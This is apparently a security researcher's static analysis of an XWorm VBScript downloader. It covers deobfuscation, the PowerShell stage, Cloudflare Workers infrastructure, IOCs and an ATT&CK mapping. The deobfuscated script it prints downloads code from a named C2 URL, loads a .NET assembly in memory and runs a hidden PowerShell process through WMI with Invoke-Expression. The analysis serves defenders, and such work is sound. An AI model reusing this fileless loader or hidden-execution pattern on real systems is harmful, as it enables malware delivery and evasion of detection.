Post

XWorm Downloader — VBScript Analysis

Static analysis of an XWorm VBScript downloader — deobfuscation, payload extraction, and infrastructure analysis of a dead-C2 sample.

XWorm Downloader — VBScript Analysis

Update: A second XWorm sample was later analyzed with a complete execution chain — from JS dropper through PowerShell loader to XWorm V7.1. That analysis is documented here. The tools and IOCs for both analyses are on GitHub.


On this page


XWorm Downloader TL;DR

This sample is an XWorm downloader — a obfuscated VBScript that fetches and executes the next stage entirely in memory, leaving no payload on disk. The C2 was dead at the time of analysis, making this a partial analysis covering the downloader stage only.


Technical Summary

The sample is a heavily obfuscated VBScript downloader. After deobfuscation, the script instantiates WScript.Shell and WMI objects, constructs a PowerShell script in memory, stores it in a user environment variable, and spawns a hidden PowerShell process via WMI to execute it. The PowerShell stage decodes a Base64-encoded C2 URL, downloads the next stage, extracts an encoded payload from between two delimiters, decodes and reverses it, loads the resulting .NET assembly into memory via AppDomain.CurrentDomain.Load(), and invokes a specific method on it passing 18 Base64-encoded arguments. The C2 was dead at the time of analysis — the payload was never retrieved.


Technical Analysis

Deobfuscation

Opening the file reveals a wall of repetitive obfuscated content. Scrolling through it, the real script becomes visible hidden within the noise.

img

A regex pattern repeats throughout the file as the primary obfuscation mechanism. Removing it with CyberChef exposes the clean script underneath.

img

img 26 detections on VirusTotal at time of analysis

The deobfuscated script:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
On Error Resume Next

' WScript.Shell —-> access to environment variables and process execution
Set miscibility = CreateObject("Wscript.Shell")
Set crocheteur = miscibility.Environment("User")

' highrise holds the entire PowerShell payload as a string
highrise = "$caprina = https://shy-hall-9c09.cryptersandtoolsoficial.workers.dev/Pkjtb
            $terricolous = New-Object Net.WebClient
            $terricolous.Headers.Add('User-Agent','Mozilla/5.0')
            $overgaze = $terricolous.DownloadData($caprina)
            $injuncting = [Text.Encoding]::UTF8.GetString($overgaze)
            [extract between 'IN-' and '-in1']
            [replace '#' with 'A', reverse, base64 decode]
            $ceterach = [AppDomain]::CurrentDomain.Load($hobblingly)
            $ceterach.GetType('OtnmpxnddVnptbN.mpxnddVn')
                     .GetMethod('Otnmpxn')
                     .Invoke($null, [object[]]$cytohydrolist)"

' store payload in user environment variable, no file written to disk
crocheteur("saltbox") = highrise

' execution command
terbia = "powershell.exe -NoProfile -Command ""Invoke-Expression $env:saltbox"""

Set doulia    = GetObject("winmgmts:\\.\root\cimv2")
Set objConfig = doulia.Get("Win32_ProcessStartup").SpawnInstance_
objConfig.ShowWindow = 0
doulia.Get("Win32_Process").Create(terbia, Null, objConfig, parakite)

PowerShell Stage

The script builds the entire PowerShell payload as a string in the highrise variable, then stores it in the user environment variable saltbox via WScript.Shell. This keeps the malicious code entirely in memory — nothing is written to disk at this stage.

The execution command is then constructed:

1
powershell.exe -NoProfile -Command "Invoke-Expression $env:saltbox"

Rather than launching this directly, the script uses WMI to spawn the PowerShell process. It connects to root\cimv2, creates a Win32_ProcessStartup instance with ShowWindow = 0, and invokes Win32_Process.Create() — producing a completely hidden PowerShell process with no visible window and no console output.

The PowerShell payload itself executes in seven steps:

1. Decode the C2 URL

The URL is stored as a Base64-encoded Unicode string and decoded at runtime to:

1
https://shy-hall-9c09.cryptersandtoolsoficial.workers.dev/Pkjtb

img

2. Download the payload

A Net.WebClient instance is created with a Mozilla/5.0 User-Agent header to mimic legitimate browser traffic. DownloadData() fetches the raw bytes from the C2 URL and converts them to a UTF-8 string.

3. Extract the encoded payload

The downloaded content is expected to contain a payload wrapped between the delimiters IN- and -in1. The script locates both markers and extracts the substring between them. If either delimiter is absent the script exits silently.

4. Decode the payload

Three sequential transforms are applied to the extracted string:

  • Replace all # characters with A
  • Convert to a character array and reverse it
  • Base64-decode the result to a raw byte array

5. Load assembly into memory

The decoded byte array is loaded as a .NET assembly directly into the current AppDomain via AppDomain.CurrentDomain.Load() — fileless execution, nothing written to disk.

6. Invoke the entry point

The script resolves type OtnmpxnddVnptbN.mpxnddVn and invokes method Otnmpxn on it via reflection. Both names are heavily obfuscated, consistent with a packed or protected .NET assembly.

7. Pass arguments

18 Base64-encoded strings are passed as arguments to the invoked method. These likely contain encrypted configuration — C2 details, keys, or behavioral flags — decoded by the loaded assembly at runtime. The C2 was dead at time of analysis so their content could not be confirmed.


Infrastructure Analysis

Passive analysis of the staging endpoint via urlscan.io revealed the URL was first observed approximately one month prior to investigation and had accumulated 514 scans on the platform. The urlscan.io verdict classified the endpoint as potentially malicious, targeting generic Cloudflare infrastructure. The serving IPs 172.67.193.253 and 104.18.95.41 both belong to Cloudflare (ASN 13335), confirming deliberate abuse of Cloudflare Workers to bypass reputation-based filtering. The TLS certificate was issued by WE1 on June 23rd 2026, establishing the earliest possible campaign start date. Google Safe Browsing returned no classification at time of analysis. The page title returned by the endpoint was Suspected Phishing | Cloudflare, indicating Cloudflare had already imposed an interception block by the time of this investigation.

img urlscan.io analysis of the staging endpoint


IoCs

No.DescriptionValue
1VBScript downloader196f53a2d6b267d8ea1e590e1a45d89797df3228fe9de435593df3daa94e8cf2
2C2 URLhttps://shy-hall-9c09.cryptersandtoolsoficial.workers.dev/Pkjtb
3Cloudflare serving IP172.67.193.253
4Cloudflare serving IP104.18.95.41
5TLS certificate issued2026-06-23

MITRE ATT&CK

TacticIDTechniqueEvidence
ExecutionT1059.005Visual BasicVBScript downloader
ExecutionT1059.001PowerShellPowerShell payload via Invoke-Expression
ExecutionT1047Windows Management InstrumentationHidden process creation via Win32_Process.Create()
Defense EvasionT1027Obfuscated Files or InformationRegex-based string obfuscation throughout VBScript
Defense EvasionT1140Deobfuscate/Decode FilesBase64 + reverse + char substitution decode chain
Defense EvasionT1620Reflective Code LoadingAppDomain.CurrentDomain.Load() fileless execution
Defense EvasionT1564.003Hide Artifacts: Hidden WindowShowWindow = 0 via WMI startup config
Command and ControlT1071.001Web ProtocolsHTTP download from Cloudflare Workers endpoint
Command and ControlT1102Web ServiceCloudflare Workers abused as C2 relay

References

  1. MalwareBazaar — sample source https://bazaar.abuse.ch/sample/97cb37e235dfbc41b6a4718ca4ffeb61e36ce9ba6cd329fd5da75cc8cc12df29/
  2. urlscan.io — endpoint analysis https://urlscan.io
  3. MITRE ATT&CK Framework https://attack.mitre.org
This post is licensed under CC BY 4.0 by the author.